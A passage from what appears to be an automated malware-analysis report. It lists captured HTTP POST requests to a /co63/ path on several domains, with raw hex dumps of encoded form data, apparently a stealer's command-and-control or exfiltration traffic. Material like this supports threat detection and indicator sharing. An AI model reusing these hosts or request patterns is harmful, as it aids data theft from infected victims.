4c 66 4a 47 41 4e 35 41 61 37 42 70 56 73 77 45 78 4d 39 43 36 50 34 4e 4e 4e 57 75 54 34 39 39 75 5a 35 28 57 56 4e 72 38 59 53 35 73 54 6f 7a 30 58 51 78 31 74 43 4e 74 6d 39 61 5a 35 30 79 66 49 35 47 71 5a 33 51 61 73 39 68 44 74 76 28 6c 41 38 35 44 75 43 4c 45 4d 41 77 77 74 5f 4b 59 77 55 50 55 64 6c 72 75 67 56 6d 33 50 4a 4e 33 54 77 59 33 4f 4b 65 77 62 73 65 37 63 37 7e 32 45 54 66 56 42 75 43 53 42 57 62 66 71 6b 6f 4c 50 43 67 62 79 49 76 63 6e 38 4f 34 4b 55 41 35 45 64 53 67 61 78 76 36 59 38 30 74 59 36 42 76 67 34 43 35 7a 65 59 4a 42 6c 63 72 7a 58 74 74 49 73 50 50 38 66 68 74 6d 6d 62 61 4d 54 37 6a 56 44 66 7a 7a 5f 38 36 54 67 28 66 46 31 45 49 7a 48 4f 7a 28 72 7e 6e 6e 58 71 31 79 57 50 72 6b 6a 76 41 77 69 6d 6e 33 7a 38 4a 71 4a 74 36 6e 54 47 5a 4a 2d 35 6c 56 30 45 39 7a 63 30 74 44 43 4d 69 39 58 54 41 28 44 39 30 48 2d 4c 49 38 5a 64 38 62 38 52 37 4a 48 52 38 64 33 72 37 51 38 52 62 4d 31 53 43 47 6f 6e 44 45 4b 78 50 68 36 6a 39 43 43 72 63 4d 64 49 66 43 6e 32 61 67 31 66 32 6f 6d 64 67 52 70 74 42 4c 58 41 39 59 71 43 57 64 51 49 46 78 36 34 32 75 53 41 36 35 4d 6c 50 62 6e 5a 56 4e 76 67 48 61 4c 57 69 65 5f 47 57 75 6e 49 6d 79 35 44 32 64 56 47 66 67 65 49 54 54 65 41 6c 30 78 31 67 44 5f 4c 61 71 70 76 5a 64 41 47 51 55 75 33 51 6d 3
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.ballthingsez.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.ballthingsez.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.ballthingsez.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 56 44 31 4b 35 71 44 5f 39 54 36 79 30 37 50 2d 61 39 65 7a 4d 4f 50 36 43 44 61 57 55 4c 35 65 6e 4f 31 66 70 7a 55 35 66 43 46 39 73 62 59 35 39 4f 51 6f 4a 54 6f 6f 79 62 70 69 34 38 69 6a 38 69 65 31 47 6c 4b 49 62 58 48 6a 7e 47 6f 31 71 51 63 57 31 44 42 78 48 38 7a 75 34 46 78 67 4c 59 38 59 30 6d 69 4f 6f 71 6c 56 76 39 48 58 30 62 6c 49 7a 65 34 6e 4b 79 44 62 75 4a 57 6b 6c 43 53 30 49 73 70 30 42 36 71 46 68 6b 4e 72 53 57 50 6d 72 4e 66 67 63 74 41 77 4f 76 55 38 68 5a 4d 48 6c 79 30 41 70 50 32 79 6e 73 6e 66 6b 44 39 72 4c 66 77 67 4e 30 50 63 50 69 62 49 47 4e 32 33 7a 69 4d 30 50 6c 30 48 64 69 6f 35 4d 6f 65 6f 67 4b 53 46 4e 2d 38 4b 48 55 58 5f 49 55 51 71 59 65 62 63 66 71 63 43 46 42 64 4c 30 73 78 32 66 4f 28 6e 51 36 44 56 57 63 5a 64 4d 4b 64 56 69 47 76 7a 78 46 7a 46 5a 68 6f 5f 73 6d 54 6c 49 79 58 56 63 38 75 4d 56 76 7a 41 78 35 31 6e 4a 45 4c 33 35 79 33 50 65 36 44 35 28 6b 61 43 71 49 54 72 75 78 48 6b 53 56 7e 37 6d 79 64 65 53 56 7a 34 7e 74 51 56 65 7a 46 36 52 6f 6c 49 6d 58 73 41 46 4d 65 45 62 65 47 37 48 75 7a 46 76 53 4d 5f 68 42 4f 69 4e 78 51 36 49 71 51 61 4c 55 4f 31 42 76 75 6a 4e 49 6b 74 6e 63 72 47 58 44 51 32 36 6f 50 68 43 77 64 4b 70 67 47 30 33 64 56 35 61 43 57 45 67 49 72 49 43 73 58 64 4a 53 65 44 4d 36 37 4b 41 69 6c 31 51 76 50 41 36 55 5a 76 4e 52 45 74 43 36 44 78 4d 49 70 38 39 69 45 4f 38 75 5a 34 33 47 59 54 76 39 59 34 77 65 4b 79 78 79 57 75 68 56 70 6b 4f 4a 50 39 5a 36 5a 34 78 5a 4d 74 4a 4b 4e 42 61 49 67 78 6a 79 63 48 79 46 73 65 39 79 75 78 4b 6c 70 5f 33 55 4e 74 49 61 67 61 4f 69 78 4a 73 4b 34 37 72 55 4b 37 46 51 61 37 4f 6d 28 71 5a 44 4b 4d 66 72 6f 76 78 55 4e 61 42 46 4e 39 4c 42 6c 43 4c 75 69 31 6d 5a 6a 4d 71 5a 61 4a 6e 4c 71 36 58 34 6d 42 42 4a 4a 63 57 68 48 44 75 4f 35 72 6a 63 31 48 5a 62 42 49 45 35 62 38 52 4c 5a 46 57 6f 58 6d 36 4f 38 52 58 39 64 66 68 39 37 47 65 6f 45 63 7a 6d 56 71 47 47 37 66 6e 50 33 32 79 59 74 38 41 59 37 69 62 78 75 49 33 33 53 78 73 32 4b 33 4b 37 35 42 6f 41 59 48 72 6c 33 49 78 4f 48 68 37 70 62 75 4f 70 39 63 77 30 6c 69 45 64 54 2d 6a 4c 50 5f 54 67 78 50 53 67 62 57 31 32 48 7a 4b 70 70 68 51 50 32 48 65 72 74 6b 51 4f 4e 4f 70 6f 34 30 52 4c 39 52 53 43 4f 73 37 69 6b 61 79 4d 46 36 6e 2d 61 64 71 37 59 42 4b 76 43 6e 77 61 68 32 62 32 6b 48 64 6a 74 70 75 46 54 58 52 2d 30 53 43 57 64 61 42 6b 46 4f 37 47 75 6c 44 37 30 4d 6c 4d 44 79 5a 57 68 56 6e 48 6d 39 53 6c 61 38 56 57 75 6a 4b 79 47 2d 44 33 68 48 47 66 73 42 48 79 6a 68 41 56 39 63 7e 77 44 5f 44 35 47 44 72 74 59 49 44 54 6f 71 72 67 47
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.dlafluid.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.dlafluid.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.dlafluid.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 7a 65 30 43 77 70 4b 68 72 43 6e 49 4c 66 6d 30 6b 42 57 57 6f 46 4b 47 38 6a 56 5a 57 4b 57 72 7a 6f 36 72 75 79 75 54 37 32 53 41 49 42 50 50 42 64 79 74 79 4b 74 2d 55 46 79 6c 48 59 77 64 44 48 76 33 54 75 52 45 4f 4d 69 6d 43 44 36 54 4f 52 78 56 39 7a 77 61 76 37 72 44 33 36 31 42 56 53 51 50 67 73 4a 63 59 4a 77 49 38 54 43 41 61 47 70 44 54 6b 6d 42 38 64 34 58 63 68 75 48 4f 6b 63 59 4b 61 48 64 65 6e 74 32 74 5a 34 7a 55 54 6b 4d 33 6c 47 37 56 44 33 37 68 69 28 52 41 47 6c 6f 43 35 62 51 62 66 49 56 71 47 44 64 64 6b 69 44 4d 6c 48 5a 5a 4a 58 42 71 4b 39 64 36 6b 55 4a 39 61 79 4f 4c 48 7a 37 70 79 75 6e 71 30 4a 76 36 39 63 37 46 30 75 37 28 48 64 6b 55 4a 65 6b 31 4e 30 47 68 50 5a 30 45 48 4d 68 66 57 28 6b 4f 33 46 61 7e 78 34 5f 32 75 39 4e 54 57 52 73 37 52 65 4f 4b 4c 4b 6d 57 5f 41 5f 38 44 30 47 47 61 64 46 6e 67 54 62 70 5f 68 44 28 49 55 46 44 4f 73 59 69 45 59 79 6e 75 54 5f 32 71 34 75 58 6d 45 68 46 50 57 4f 46 70 7a 38 36 52 47 74 31 7a 4b 44 62 44 4b 79 49 42 63 51 4f 35 47 77 6c 63 76 4b 6b 63 61 65 4f 71 4f 44 53 37 6c 55 37 5a 59 30 44 69 62 37 73 61 79 33 74 6b 6f 35 47 5a 4e 59 51 7a 54 43 77 35 70 6a 50 5f 65 78 41 75 74 41 57 6b 37 57 6e 48 70 4a 47 70 62 4d 4f 38 63 51 6a 57 77 32 4f 51 6a 37 63 75 39 52 55 71 6b 41 34 51 4f 43 62 65 4b 6e 62 45 36 61 76 5a 65 79 66 55 66 54 6d 4e 67 63 44 6a 69 6e 33 2d 32 30 58 69 70 66 7e 78 62 43 51 54 6b 63 6a 5a 58 46 55 67 78 56 28 31 76 67 6b 69 58 51 31 50 66 6a 7a 34 77 62 63 52 71 56 70 4b 6d 62 61 38 59 7a 62 4c 47 44 54 6d 52 32 31 39 68 68 35 34 70 4e 57 39 28 4b 4b 78 4d 62 44 66 4c 56 70 68 70 61 6c 73 4c 4d 43 37 58 64 54 5a 79 69 51 67 69 72 66 56 69 6f 74 6a 6c 57 38 2d 54 33 30 38 57 69 45 6b 72 36 6a 34 52 59 72 49 35 57 75 6a 62 49 54 30 45 57 38 42 4f 45 44 48 4d 7a 43 70 79 4f 31 7a 58 64 51 39 4b 61 72 62 4a 74 5a 4c 78 65 37 31 37 46 56 70 70 64 49 71 57 4e 71 43 6a 38 48 67 6a 69 66 43 50 6b 47 37 69 33 53 34 52 6d 52 37 75 68 5a 51 50 55 69 4b 59 68 52 33 77 32 6e 4d 76 55 6d 45 4b 74 73 56 48 35 4d 64 7a 69 51 2d 6a 75 52 37 7e 72 6e 77 6c 55 6a 4a 74 5a 71 6b 45 39 51 43 68 66 58 59 47 31 51 56 46 56 57 5a 51 47 4d 67 67 51 7a 46 58 33 77 71 48 30 44 56 69 33 41 2d 59 46 39 2d 64 59 37 4c 51 2d 61 64 28 54 61 4e 38 55 62 63 7a 35 41 57 55 51 30 65 53 46 4f 66 38 4e 53 78 33 43 6a 47 67 36 35 71 46 67 46 6e 7e 2d 6b 38 56 61 4c 6e 36 6f 72 46 67 46 55 50 6b 46 65 51 44 6c 56 55 69 47 32 67 4d 47 44 44 49 6e 28 38 35 57 67 31 48 57 6b 72 6b 30 75 4b 53 36 61 53 67 6e 75 67 77 6d 42 34 6e 6c 6c 6b 7e 55 49 52 54 6d 72 42 68 57 56 4d 45 5
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.dlafluid.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.dlafluid.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.dlafluid.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 7a 65 30 43 77 74 58 51 34 45 36 54 61 70 32 70 6b 33 61 65 6d 46 37 66 75 44 35 49 4b 71 66 4d 74 4b 44 4b 75 7a 7e 58 75 6a 4f 65 43 43 58 50 55 4f 61 71 30 71 74 35 44 56 79 6b 44 5a 4e 69 4b 31 7e 37 54 76 56 2d 4f 4d 61 68 55 78 53 63 49 7a 70 5a 28 6a 38 49 67 62 76 61 7a 2d 64 43 55 33 34 54 72 4f 70 63 47 71 73 77 77 67 71 4c 58 58 56 58 63 6b 36 44 6b 74 52 5a 4b 42 50 68 50 48 77 55 4e 62 6e 31 61 6a 6f 36 70 39 55 62 62 51 45 49 71 6c 53 38 42 51 4c 35 67 46 75 67 42 48 6c 77 4f 5a 6a 39 56 39 55 62 75 56 6e 72 64 6c 57 32 57 56 32 76 57 76 79 6b 71 34 55 6f 74 31 51 4a 28 4b 4b 65 54 51 50 39 30 46 69 5f 6e 48 78 65 71 4e 4d 57 56 52 71 38 78 32 39 6a 59 76 69 4f 36 4d 78 34 6a 4f 67 6d 4f 31 55 5a 66 32 71 70 53 58 30 38 33 53 6f 51 76 64 49 4d 48 79 39 6b 32 55 75 31 49 38 4c 6e 5a 4e 35 49 77 41 34 4f 48 72 74 76 78 33 50 59 6e 4d 35 45 76 62 38 56 4f 4f 77 4a 6b 45 51 75 73 50 54 74 32 71 73 31 58 45 5a 59 47 50 58 46 61 37 58 31 36 56 53 74 31 79 36 54 61 33 57 79 4a 69 46 4b 65 50 53 5f 68 73 75 4b 6d 4d 4b 4a 59 4a 61 59 53 37 56 41 37 71 34 30 43 6d 33 37 70 35 4b 32 72 6b 6f 35 49 35 4e 65 51 7a 54 4b 77 35 70 4b 50 35 71 6c 42 75 56 41 65 45 48 59 68 6b 67 47 58 50 71 33 4b 63 63 63 6b 55 4a 6a 63 67 47 31 63 74 4e 4a 54 4a 67 41 35 55 32 4e 4c 72 6d 37 4b 6c 36 46 68 34 48 74 57 30 6e 44 6d 4e 64 51 41 69 7a 4d 39 50 37 79 57 69 70 63 78 6c 36 47 47 6e 35 46 71 6f 6e 6f 66 42 35 2d 77 68 4f 31 6b 43 43 51 73 6f 37 52 79 35 74 42 61 52 7e 72 34 6f 4b 58 62 75 78 5a 66 4c 69 62 65 33 4e 4e 30 63 41 63 74 71 64 62 66 66 28 36 4b 43 45 37 41 2d 66 42 31 77 46 6c 39 5f 50 65 58 4c 48 79 57 72 53 44 66 52 47 5f 55 33 71 38 69 6a 68 46 31 74 6e 72 77 63 7e 7a 65 43 4b 38 31 4a 41 5f 71 34 52 56 31 6a 33 64 53 30 34 5a 71 77 6a 32 43 7a 6c 35 56 62 4b 41 34 7a 61 6a 53 39 44 4e 69 62 59 47 64 72 4e 5f 28 6d 66 6b 4e 37 59 65 55 71 36 75 75 77 72 5a 41 43 48 62 58 44 58 41 4f 2d 65 74 66 37 74 56 57 70 76 42 53 46 37 6d 76 62 6f 61 43 67 6c 43 30 73 7a 68 72 68 50 5f 68 58 57 46 64 50 62 48 58 63 66 66 66 50 48 32 39 51 59 42 6a 71 56 33 36 51 30 68 5a 44 46 51 59 62 4b 6b 45 47 56 69 54 2d 5a 30 4e 54 4e 31 38 58 4c 4d 31 5a 57 63 4f 68 7e 76 42 4f 6f 73 39 2d 56 63 37 61 77 75 64 6f 76 54 65 4d 38 58 62 39 79 79 51 57 55 51 6f 65 53 64 44 5f 77 38 53 30 58 43 67 43 73 36 77 2d 68 69 46 6e 28 5f 74 64 68 75 4d 58 37 6f 73 45 73 38 55 4f 45 58 65 54 76 35 53 55 75 34 79 6a 4d 4a 53 44 49 37 73 35 5a 52 67 30 36 31 6b 72 35 70 6b 71 44 69 61 6a 5a 41 67 77 77 6d 49 65 7e 75 68 56 75 52 4e 57 54 69 33 78 42 77 63 4d 49
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.myccsmartmove.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.myccsmartmove.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.myccsmartmove.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 45 2d 7e 72 68 57 48 51 69 70 63 2d 32 73 6b 6a 38 39 55 6f 6b 77 74 6e 56 6a 57 54 31 43 54 58 39 57 37 56 6a 52 54 31 37 4d 61 63 66 59 54 68 4b 42 75 39 30 49 63 38 36 49 49 4f 62 61 33 71 6b 78 54 68 72 6c 47 63 5a 4c 7a 51 76 77 57 53 68 62 46 34 4a 54 6c 30 62 62 6e 72 7a 6d 41 56 35 70 4b 6f 53 56 76 6b 31 7a 59 6c 6c 59 4c 73 52 56 79 71 4e 72 48 78 4c 4b 31 61 6c 4d 43 57 42 39 45 37 32 42 77 42 4c 58 44 4c 6d 33 78 34 41 44 38 6f 71 73 68 79 59 56 64 6e 49 56 4b 41 65 30 71 44 76 61 4d 31 6d 56 6e 4d 38 46 51 36 4d 30 56 49 67 75 4c 78 28 52 4b 34 4f 45 6c 37 53 6e 49 54 62 70 46 54 65 6e 66 4c 63 49 55 77 69 32 50 33 59 4a 79 51 4e 34 64 34 53 41 67 63 79 62 4c 66 78 5a 7e 73 5a 35 7e 6a 4e 50 44 6b 33 51 4e 6e 36 43 53 72 46 37 35 4b 6e 78 41 72 56 62 75 37 79 63 54 57 6e 76 55 56 6a 52 7e 4f 6e 5a 35 73 75 36 79 68 66 76 6f 53 41 57 52 65 76 59 52 5f 56 39 6e 57 35 72 6c 30 38 47 6c 6b 6c 70 58 6f 54 64 43 69 6d 54 46 39 79 6e 43 77 4a 36 64 68 50 69 50 4a 42 74 71 33 75 7a 45 37 49 78 35 72 35 65 36 38 53 69 37 42 4f 53 57 4b 31 51 51 67 31 77 4e 47 33 2d 61 73 5a 52 44 73 5a 65 30 31 55 58 30 57 37 4f 50 4f 33 72 4a 79 32 44 57 65 64 6b 63 6d 32 77 6d 69 7a 62 74 6f 31 67 31 50 74 67 4f 77 34 71 61 74 47 64 65 4d 32 45 57 48 73 75 39 46 6b 43 69 64 35 54 34 75 46 33 41 6e 4e 72 77 67 63 58 73 79 72 75 54 46 64 46 71 63 31 77 69 33 4a 65 6c 39 62 79 49 43 72 33 56 36 30 4a 4b 2d 41 75 74 36 41 5a 50 31 35 65 69 59 6f 46 4f 70 72 65 4b 48 63 37 50 38 42 62 56 53 32 36 28 72 38 44 39 66 43 4a 7e 4e 31 54 70 54 54 47 43 61 66 67 57 69 35 62 46 5f 71 59 38 32 72 72 74 4f 55 76 74 37 47 30 39 32 67 5f 6f 64 4e 47 49 4c 63 39 76 75 71 58 69 4a 37 52 54 70 32 38 4c 4e 77 30 50 74 78 6d 6a 79 36 79 64 77 28 75 39 64 45 37 31 51 77 30 5a 43 67 32 72 6d 48 42 6a 36 4c 66 37 33 54 35 77 57 6c 4e 52 37 5a 7a 38 56 4c 32 4b 4e 59 2d 37 78 64 51 68 6b 58 2d 30 50 72 56 68 70 66 4e 50 46 4b 45 37 6e 51 38 4a 59 54 35 33 4e 55 57 7e 33 37 4f 76 79 77 4c 73 56 6b 36 30 5a 6c 37 4a 62 65 2d 7a 66 58 72 6f 64 32 6b 6b 34 55 37 6e 4e 53 4d 47 76 54 39 59 32 4a 61 77 53 7a 70 45 78 6e 54 69 35 56 53 48 4c 34 72 4b 4d 64 30 66 68 55 64 75 72 69 66 59 50 42 67 47 4f 46 6f 28 4d 33 58 59 66 7a 4b 4f 39 55 72 50 36 38 48 30 6a 61 36 50 42 6d 66 67 75 28 5f 4b 36 7e 65 6d 53 55 78 53 59 43 73 50 78 53 63 31 59 73 31 63 39 4d 75 49 78 62 44 78 67 47 30 4f 36 6b 4e 31 4d 6c 31 57 31 6d 52 70 71 7e 32 6c 50 58 52 6a 65 4c 37 35 66 78 6e 75 4c 28 66 46 4f 47 73 57 79 73 64 4a 43 59 48 7e 69 67 77 4f 4f 7e 58 30 2d 6c 35 5a 6a 6c 57 5
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.myccsmartmove.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.myccsmartmove.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.myccsmartmove.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 45 2d 7e 72 68 55 6e 63 78 4a 5a 79 79 75 78 45 6f 76 63 67 67 68 63 6f 65 45 76 54 34 79 61 6c 77 68 75 32 6a 52 6a 78 75 5a 47 4f 59 37 4c 68 64 54 48 30 36 49 63 37 34 49 49 4e 52 4b 36 64 34 79 53 75 72 6b 79 32 5a 4c 72 66 67 79 76 35 77 65 52 56 46 6a 59 50 54 36 43 72 33 6a 4d 57 35 4c 33 71 56 55 6e 6b 78 48 52 6a 70 71 54 33 58 68 43 6d 58 72 62 7a 45 72 64 54 79 50 6d 6a 44 66 49 5f 38 68 51 35 4a 6e 4c 63 6f 32 77 56 43 6c 68 6e 6e 34 4a 31 54 32 68 68 49 32 7e 79 53 52 4b 68 7a 4b 45 41 36 42 7a 53 7e 54 63 79 4d 31 52 31 70 4f 61 46 30 32 65 54 41 56 56 72 41 55 45 54 65 61 56 44 47 56 48 4a 5a 50 41 6f 68 6c 32 50 50 4b 36 31 64 73 52 37 63 7a 5a 55 31 59 76 50 28 63 47 66 62 37 65 6e 48 39 62 59 36 51 4a 75 7a 33 61 57 49 63 6c 45 6e 67 63 32 5a 35 37 34 74 4e 28 74 6c 63 59 42 73 67 65 79 72 61 31 53 76 4b 43 48 59 73 4a 45 4f 6c 6f 59 73 62 6f 69 49 74 72 36 37 72 74 34 6c 33 6c 63 6c 70 54 61 54 39 33 62 28 54 46 37 32 6b 32 66 4a 37 35 68 50 69 28 5a 42 59 32 33 75 53 31 68 4f 33 4e 75 32 2d 37 6b 52 79 72 57 45 41 79 42 31 51 67 76 31 41 46 47 6c 73 7e 73 4f 67 7a 72 4b 4f 30 31 4e 48 30 44 37 4f 50 47 33 72 49 6b 32 42 32 53 63 67 45 6d 69 44 79 61 79 75 78 6d 6b 44 70 6e 7a 51 4f 73 30 4c 62 70 4c 39 44 6a 32 44 7a 42 73 4f 5a 46 6c 57 61 65 38 79 49 71 44 6d 41 34 55 61 45 77 57 33 30 59 72 75 76 32 61 30 36 36 78 52 4f 6d 4f 65 6c 36 4f 53 55 56 76 79 35 63 67 4c 53 74 43 6f 73 66 54 64 66 54 35 2d 32 44 6f 69 4b 74 71 5a 69 54 58 66 76 4b 4b 49 35 47 6d 34 6e 63 34 43 51 4b 64 4e 75 63 30 7a 39 6c 55 6d 7a 6a 64 68 75 6f 35 74 67 71 74 35 35 33 6d 4b 67 70 4d 5f 41 67 51 6c 4e 5a 69 2d 67 77 43 79 49 6c 58 65 48 36 76 33 75 65 74 54 58 6c 7a 64 69 4c 32 47 44 6a 33 48 7a 7a 28 42 74 33 6d 75 52 49 46 37 35 50 68 6c 46 39 69 47 7e 78 44 33 50 4f 4e 5f 58 45 62 59 5a 7a 75 49 73 6f 50 6b 45 6f 59 33 57 67 52 36 33 70 66 41 38 43 46 64 73 36 76 77 68 41 55 4d 4b 69 66 52 47 6d 66 5f 5a 42 41 34 50 73 59 48 58 64 68 74 6a 6e 79 49 45 6f 31 36 41 67 69 2d 46 75 64 62 48 4f 45 65 67 6f 67 32 5a 65 4d 5f 65 51 49 4c 6d 66 54 65 38 49 59 59 35 43 70 62 6f 77 6f 54 47 43 51 77 48 57 39 49 33 30 4e 33 7a 64 62 50 79 51 67 6f 30 2d 49 51 57 56 46 66 54 70 33 58 67 44 7a 36 76 36 47 65 28 36 34 41 55 67 5a 5a 58 46 71 50 67 75 31 76 4b 69 77 2d 72 77 55 7a 75 59 42 70 50 78 48 5a 6c 57 73 31 63 6a 45 4b 49 56 62 7a 78 6e 48 78 69 5f 6b 4e 56 30 6c 33 37 39 33 68 55 58 70 42 42 49 64 68 6a 53 4e 35 42 59 78 6c 72 39 28 66 42 64 4d 50 7e 4e 74 74 41 56 53 58 7e 69 6d 79 43 67 31 44 51 37 67 2d 59 6b 73 57
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.takealicense.comConnection: closeContent-Length: 1484Cache-Control: no-cacheOrigin: http://www.takealicense.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.takealicense.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 4b 66 71 6a 65 49 61 54 72 78 73 72 68 44 4f 75 76 2d 32 4f 61 70 5a 7a 67 6f 33 36 71 48 6a 66 4d 57 63 42 77 5f 36 69 71 4b 4c 56 6f 61 38 6e 69 78 28 47 28 70 51 47 6a 38 49 76 75 41 59 62 59 51 64 45 78 54 52 66 55 4b 39 55 62 33 44 64 71 67 63 4e 39 38 62 70 79 6f 30 62 35 59 4c 38 72 31 34 59 33 78 45 43 79 6c 54 62 47 75 28 37 6b 58 78 34 59 4c 76 4c 64 4e 45 38 6c 47 61 30 4b 47 6a 50 79 32 78 6b 46 4c 79 4a 5a 48 4b 4c 6b 6f 77 70 33 31 77 6d 4c 71 6c 6a 62 70 45 76 49 53 6c 43 62 69 71 76 73 30 6a 4a 50 52 37 59 69 32 52 5f 46 55 76 72 6f 49 61 5a 56 49 59 47 39 49 37 71 47 7a 74 30 33 6c 79 4f 41 71 36 73 55 6f 35 75 56 65 57 55 30 74 42 57 6d 43 31 6b 6d 4e 4a 41 52 4c 58 68 75 47 64 63 4e 37 6e 4f 48 53 7a 43 66 32 7e 59 56 54 37 47 5a 34 7e 68 6b 2d 4d 69 70 65 56 4c 67 33 7e 67 37 6c 6c 68 7e 61 46 75 44 6b 64 46 66 4e 48 53 42 43 33 63 42 59 68 74 4c 64 46 79 76 33 4a 59 6f 56 43 67 31 46 78 57 6b 70 32 4c 51 65 4c 64 61 72 62 73 79 5f 48 38 64 62 51 6d 64 44 57 77 72 59 7a 4b 49 71 4a 6d 58 4b 79 46 72 65 79 36 62 43 42 73 76 38 74 48 37 66 43 65 6c 39 28 30 35 54 57 34 58 45 46 47 58 63 58 71 4b 54 71 71 33 66 31 49 6c 69 6b 48 45 38 79 61 35 54 64 4c 35 44 6a 4d 47 33 30 38 61 53 71 73 72 46 63 53 51 63 46 73 71 56 38 45 64 37 30 49 78 56 75 30 41 37 45 45 75 6b 70 34 30 53 77 46 4c 32 54 4e 66 59 6c 34 39 65 38 63 71 41 47 46 36 6c 59 71 79 78 62 72 50 2d 46 39 62 4f 46 4e 77 67 78 38 4e 67 33 57 47 35 34 49 42 32 66 47 73 49 50 33 65 67 6b 76 28 74 4d 39 78 49 72 69 4e 44 5a 62 30 61 71 65 43 50 4c 77 4a 6d 48 77 48 30 48 5f 52 66 74 30 6c 6a 64 54 4b 46 59 57 32 55 50 2d 65 58 70 4e 64 7a 68 4b 39 35 67 46 45 64 52 66 7a 64 53 51 58 38 69 36 79 4a 6d 30 4f 78 46 47 4a 41 75 55 74 6a 54 36 49 4e 63 6e 61 42 56 69 77 64 6d 31 32 6b 76 42 7a 68 63 32 6a 77 7a 70 70 50 6e 49 31 51 67 76 79 75 53 34 55 6a 7a 59 65 44 64 54 44 50 6e 36 78 38 64 56 35 52 30 67 78 30 44 32 79 4a 54 64 73 6f 38 75 6c 4a 35 62 6c 4c 4e 4f 73 32 77 63 63 77 38 6f 72 68 78 63 4d 36 51 49 35 71 6e 74 46 4a 54 52 43 47 36 4f 66 65 35 73 50 68 65 73 50 5f 30 55 70 4c 73 79 71 52 79 68 48 51 63 63 73 69 75 6e 70 77 28 7a 76 39 4c 43 47 53 6a 4a 52 64 33 31 28 47 43 39 31 6b 4d 6f 49 6d 46 51 4a 53 52 76 4c 65 28 32 74 48 56 35 49 57 75 4e 63 46 51 54 4e 35 55 4e 52 33 44 70 79 50 73 53 6f 63 62 49 57 6f 66 66 61 5a 36 32 7e 61 31 7a 50 56 42 5a 47 69 52 35 35 45 74 52 62 5a 54 49 6d 48 36 63 44 32 43 71 62 4f 54 66 44 56 79 4a 45 66 69 6a 52 38 38 35 4f 4b 61 37 33 4c 4d 43 36 42 36 34 42 35 67 37 41 79 32 41 4d 74 30 59 6e 4c 66 5
Source: global traffic	HTTP traffic detected: POST /co63/ HTTP/1.1Host: www.takealicense.comConnection: closeContent-Length: 151296Cache-Control: no-cacheOrigin: http://www.takealicense.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://www.takealicense.com/co63/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 61 4a 45 6c 77 56 3d 4b 66 71 6a 65 4a 54 67 74 42 6f 36 6c 42 71 56 6f 4d 7e 47 65 35 4a 68 6f 50 4f 39 6a 31 44 77 53 52 70 67 77 5f 6d 6d 28 62 36 4d 73 35 6b 6e 71 54 58 46 72 35 51 46 71 63 4a 35 34 41 55 6a 47 7a 64 4d 78 53 6b 34 55 4c 70 58 50 44 6e 55 7e 32 67 61 6c 38 58 56 76 59 67 65 39 64 58 37 72 54 70 48 38 54 6b 43 33 51 48 5a 49 63 57 6e 33 43 42 38 48 5f 50 4a 57 6f 35 79 71 52 6d 38 4d 6c 50 4c 7a 79 70 41 55 62 36 57 58 46 69 7a 6d 4b 67 31 35 6c 30 6c 53 64 45 6f 62 4b 68 55 4c 51 42 73 66 53 79 47 68 51 33 50 5a 7a 44 2d 69 33 55 46 64 46 66 53 77 62 71 69 59 5a 6f 38 32 72 58 71 46 48 67 5f 76 57 4b 4d 64 64 48 70 57 2d 78 39 54 75 6d 78 7a 6f 46 52 6f 79 56 70 6c 4c 56 51 63 4f 75 58 68 6b 74 49 55 35 28 6d 47 79 33 7a 45 47 4f 35 65 44 43 4f 5a 6f 44 31 6e 37 6c 76 6e 62 74 5a 7a 68 53 57 77 55 45 42 35 35 70 32 44 55 73 53 50 64 28 56 65 43 57 31 43 65 64 39 45 64 49 71 74 33 41 5a 69 33 71 79 31 46 39 65 6b 4f 66 77 66 2d 4c 54 58 4a 50 44 79 38 33 38 64 61 68 37 61 69 47 77 72 5f 44 6a 4f 73 56 74 53 4b 7a 43 69 75 6a 73 52 52 6c 5a 76 38 39 54 37 76 61 65 6b 37 58 30 7e 7a 6d 5f 52 45 46 47 4d 4d 58 6f 4b 54 71 69 33 66 30 6b 6c 67 55 54 46 38 36 61 70 69 68 4e 34 31 28 61 58 52 39 50 55 53 71 